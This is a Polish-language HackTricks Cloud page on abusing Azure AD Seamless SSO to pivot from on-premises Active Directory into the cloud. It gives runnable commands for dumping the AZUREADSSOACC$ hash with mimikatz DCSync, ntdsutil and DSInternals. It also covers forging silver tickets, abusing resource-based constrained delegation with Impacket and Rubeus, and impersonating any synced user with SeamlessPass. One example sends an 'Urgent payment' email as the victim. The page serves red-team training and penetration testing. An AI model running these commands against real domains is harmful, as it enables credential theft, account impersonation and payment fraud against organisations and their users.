Az - Seamless SSO
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Z dokumentacji: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatycznie loguje użytkowników, gdy są na swoich urządzeniach firmowych podłączonych do sieci firmowej. Po włączeniu, użytkownicy nie muszą wpisywać swoich haseł, aby zalogować się do Azure AD, a zazwyczaj nawet wpisywać swoich nazw użytkowników. Ta funkcja zapewnia użytkownikom łatwy dostęp do aplikacji w chmurze bez potrzeby posiadania dodatkowych komponentów lokalnych.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Zasadniczo Azure AD Seamless SSO loguje użytkowników, gdy są na komputerze dołączonym do lokalnej domeny.
Jest wspierane zarówno przez PHS (Synchronizacja hasła), jak i PTA (Uwierzytelnianie przechodnie).
SSO na komputerze stacjonarnym używa Kerberos do uwierzytelniania. Po skonfigurowaniu, Azure AD Connect tworzy konto komputera o nazwie AZUREADSSOACC$ w lokalnym AD. Hasło konta AZUREADSSOACC$ jest wysyłane w postaci niezaszyfrowanej do Entra ID podczas konfiguracji.
Bilety Kerberos są szyfrowane przy użyciu NTHash (MD4) hasła, a Entra ID używa wysłanego hasła do odszyfrowania biletów.
Entra ID udostępnia punkt końcowy (https://autologon.microsoftazuread-sso.com), który akceptuje bilety Kerberos. Przeglądarka komputera dołączonego do domeny przesyła bilety do tego punktu końcowego w celu SSO.
Enumeracja
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
Pivoting: On-prem -> cloud
Warning
Najważniejszą rzeczą, którą należy wiedzieć o tym ataku, jest to, że posiadanie TGT lub konkretnego TGS użytkownika, który jest zsynchronizowany z Entra ID, wystarczy, aby uzyskać dostęp do zasobów w chmurze.
Dzieje się tak, ponieważ to bilet pozwala użytkownikowi zalogować się do chmury.
Aby uzyskać bilet TGS, atakujący musi mieć jeden z następujących elementów:
- TGS skompromitowanego użytkownika: Jeśli skompromitujesz sesję użytkownika z biletem do
HTTP/autologon.microsoftazuread-sso.comw pamięci, możesz go użyć do uzyskania dostępu do zasobów w chmurze. - TGT skompromitowanego użytkownika: Nawet jeśli go nie masz, ale użytkownik został skompromitowany, możesz go uzyskać, używając sztuczki z delegowaniem fałszywego TGT, zaimplementowanej w wielu narzędziach, takich jak Kekeo i Rubeus.
- Hash lub hasło skompromitowanego użytkownika: SeamlessPass skomunikuje się z kontrolerem domeny z tymi informacjami, aby wygenerować TGT, a następnie TGS.
- Złoty bilet: Jeśli masz klucz KRBTGT, możesz stworzyć TGT, którego potrzebujesz dla zaatakowanego użytkownika.
- Hash lub hasło konta AZUREADSSOACC$: Z tymi informacjami i identyfikatorem bezpieczeństwa (SID) użytkownika możliwe jest stworzenie biletu usługi i uwierzytelnienie w chmurze (jak wykonano w poprzedniej metodzie).
SeamlessPass
Jak wyjaśniono w tym wpisie na blogu, posiadanie któregokolwiek z wcześniejszych wymagań sprawia, że bardzo łatwo jest po prostu użyć narzędzia SeamlessPass do uzyskania dostępu do zasobów w chmurze jako skompromitowany użytkownik lub jako dowolny użytkownik, jeśli masz hash lub hasło konta AZUREADSSOACC$.
Na koniec, z TGT możliwe jest użycie narzędzia SeamlessPass z:
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
Dalsze informacje na temat konfiguracji Firefoksa do pracy z seamless SSO można znaleźć w tym wpisie na blogu.
Uzyskiwanie hashy konta AZUREADSSOACC$
Hasło użytkownika AZUREADSSOACC$ nigdy się nie zmienia. Dlatego administrator domeny mógłby skompromitować hash tego konta, a następnie użyć go do tworzenia srebrnych biletów do połączenia z Azure z dowolnym użytkownikiem on-prem synchronizowanym:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Note
Z aktualnymi informacjami możesz po prostu użyć narzędzia SeamlessPass, jak wcześniej wskazano, aby uzyskać tokeny azure i entraid dla dowolnego użytkownika w domenie. Możesz również użyć wcześniejszych technik (i innych), aby uzyskać hash hasła ofiary, którą chcesz udawać, zamiast konta
AZUREADSSOACC$.
Creating Silver Tickets
Z hashem możesz teraz generować srebrne bilety:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Używanie Silver Tickets z Firefox
Aby wykorzystać srebrny bilet, należy wykonać następujące kroki:
- Uruchom przeglądarkę: Należy uruchomić Mozilla Firefox.
- Skonfiguruj przeglądarkę:
- Przejdź do
about:config. - Ustaw preferencję dla network.negotiate-auth.trusted-uris na określoną wartość:
https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com- Przejdź do
UstawieniaFirefox > WyszukajZezwól na jednolite logowanie Windows dla kont Microsoft, służbowych i szkolnychi włącz to.
- Dostęp do aplikacji internetowej:
- Odwiedź aplikację internetową, która jest zintegrowana z domeną AAD organizacji. Typowym przykładem jest login.microsoftonline.com.
- Proces uwierzytelniania:
- Na ekranie logowania należy wpisać nazwę użytkownika, pozostawiając pole hasła puste.
- Aby kontynuować, naciśnij TAB lub ENTER.
Warning
To nie omija MFA, jeśli jest włączone dla użytkownika.
On-prem -> Cloud za pomocą Ograniczonej Delegacji Opartej na Zasobach
Aby przeprowadzić atak, potrzebne są:
WriteDACL/GenericWritenadAZUREADSSOACC$- Konto komputerowe, które kontrolujesz (hash i hasło) - Możesz stworzyć jedno
- Krok 1 – Dodaj swoje własne konto komputerowe
- Tworzy
ATTACKBOX$i drukuje jego SID/NTLM hash. Każdy użytkownik domeny może to zrobić, gdy MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
- Krok 2 – Przyznaj RBCD na
AZUREADSSOACC$- Zapisuje SID twojej maszyny wmsDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
- Krok 3 – Sfałszuj TGS dla dowolnego użytkownika (np. alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
Możesz teraz używać TGS do uzyskiwania dostępu do zasobów Azure jako podszywany użytkownik.
Tworzenie biletów Kerberos dla użytkowników tylko w chmurze
Jeśli administratorzy Active Directory mają dostęp do Azure AD Connect, mogą ustawić SID dla dowolnego użytkownika w chmurze. W ten sposób bilety Kerberos mogą być tworzone również dla użytkowników tylko w chmurze. Jedynym wymaganiem jest, aby SID był poprawnym SID.
[!OSTRZEŻENIE] Zmiana SID użytkowników administracyjnych tylko w chmurze jest teraz zablokowana przez Microsoft.
Aby uzyskać więcej informacji, sprawdź https://aadinternals.com/post/on-prem_admin/
Odniesienia
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Jestem w twojej chmurze, czytam e-maile wszystkich - hakowanie Azure AD przez Active Directory
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

